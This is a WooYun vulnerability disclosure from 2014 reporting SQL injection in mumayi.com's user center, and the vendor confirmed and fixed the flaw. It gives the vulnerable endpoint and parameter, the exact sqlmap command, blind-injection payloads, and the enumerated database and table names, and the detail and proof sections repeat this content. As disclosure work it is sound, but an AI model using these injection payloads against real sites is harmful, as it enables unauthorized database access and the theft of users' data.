当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-087016

漏洞标题：木蚂蚁关键平台sql注入(大量信息泄露、涉及用户库)

相关厂商：mumayi.com

漏洞作者： 玉林嘎

提交时间：2014-12-13 16:28

修复时间：2015-01-27 16:30

公开时间：2015-01-27 16:30

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-13： 细节已通知厂商并且等待厂商处理中
2014-12-13： 厂商已经确认，细节仅向厂商公开
2014-12-23： 细节向核心白帽子及相关领域专家公开
2015-01-02： 细节向普通白帽子公开
2015-01-12： 细节向实习白帽子公开
2015-01-27： 细节向公众公开

简要描述：

rt

详细说明：

木蚂蚁用户中心 找回密码出存在sql注入
http://u.mumayi.com/?a=retrievepass
本身设计的也有问题 可以根据id来查看用户名 直接可以爬取所有用户 (友情提示)
http://u.mumayi.com/?a=checkuserfield
post:field=username&value=111 （value存在注入）
sqlmap -u "http://u.mumayi.com/?a=checkuserfield" --data "field=username&value=111" -p "value"

sqlmap identified the following injection points with a total of 122 HTTP(s) requests:
---
Place: POST
Parameter: value
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: field=username&value=111') AND 5814=5814 AND ('QfaY'='QfaY
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: field=username&value=111') AND SLEEP(5) AND ('PPiA'='PPiA
---
[14:30:50] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.21
back-end DBMS: MySQL 5.0.11


--dbs

available databases [9]:
[*] information_schema
[*] mumayipay_mumayi
[*] mysql
[*] oauth
[*] performance_schema
[*] test
[*] uc
[*] uc_mumayi
[*] ucenter


--current-user

current user:    'ucenter@localhost'


Database: ucenter
[31 tables]
+---------------------+
| uc_admins           |
| uc_applications     |
| uc_badwords         |
| uc_domains          |
| uc_failedlogins     |
| uc_feeds            |
| uc_friends          |
| uc_mailqueue        |
| uc_memberfields     |
| uc_members          |
| uc_mergemembers     |
| uc_newpm            |
| uc_notelist         |
| uc_pm_indexes       |
| uc_pm_lists         |
| uc_pm_members       |
| uc_pm_messages_0    |
| uc_pm_messages_1    |
| uc_pm_messages_2    |
| uc_pm_messages_3    |
| uc_pm_messages_4    |
| uc_pm_messages_5    |
| uc_pm_messages_6    |
| uc_pm_messages_7    |
| uc_pm_messages_8    |
| uc_pm_messages_9    |
| uc_protectedmembers |
| uc_settings         |
| uc_sqlcache         |
| uc_tags             |
| uc_vars             |
+---------------------+


狗哥说的敏感数据观 我很赞同，点到为止

漏洞证明：

木蚂蚁用户中心 找回密码出存在sql注入
http://u.mumayi.com/?a=retrievepass
本身设计的也有问题 可以根据id来查看用户名 直接可以爬取所有用户 (友情提示)
http://u.mumayi.com/?a=checkuserfield
post:field=username&value=111 （value存在注入）
sqlmap -u "http://u.mumayi.com/?a=checkuserfield" --data "field=username&value=111" -p "value"

sqlmap identified the following injection points with a total of 122 HTTP(s) requests:
---
Place: POST
Parameter: value
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: field=username&value=111') AND 5814=5814 AND ('QfaY'='QfaY
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: field=username&value=111') AND SLEEP(5) AND ('PPiA'='PPiA
---
[14:30:50] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.3.21
back-end DBMS: MySQL 5.0.11


--dbs

available databases [9]:
[*] information_schema
[*] mumayipay_mumayi
[*] mysql
[*] oauth
[*] performance_schema
[*] test
[*] uc
[*] uc_mumayi
[*] ucenter


--current-user

current user:    'ucenter@localhost'


Database: ucenter
[31 tables]
+---------------------+
| uc_admins           |
| uc_applications     |
| uc_badwords         |
| uc_domains          |
| uc_failedlogins     |
| uc_feeds            |
| uc_friends          |
| uc_mailqueue        |
| uc_memberfields     |
| uc_members          |
| uc_mergemembers     |
| uc_newpm            |
| uc_notelist         |
| uc_pm_indexes       |
| uc_pm_lists         |
| uc_pm_members       |
| uc_pm_messages_0    |
| uc_pm_messages_1    |
| uc_pm_messages_2    |
| uc_pm_messages_3    |
| uc_pm_messages_4    |
| uc_pm_messages_5    |
| uc_pm_messages_6    |
| uc_pm_messages_7    |
| uc_pm_messages_8    |
| uc_pm_messages_9    |
| uc_protectedmembers |
| uc_settings         |
| uc_sqlcache         |
| uc_tags             |
| uc_vars             |
+---------------------+


狗哥说的敏感数据观 我很赞同，点到为止

修复方案：

好好过滤

版权声明：转载请注明来源 玉林嘎@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：7

确认时间：2014-12-13 20:54

厂商回复：

技术蚂蚁正在处理

最新状态：

2014-12-15：已经修复完毕，感谢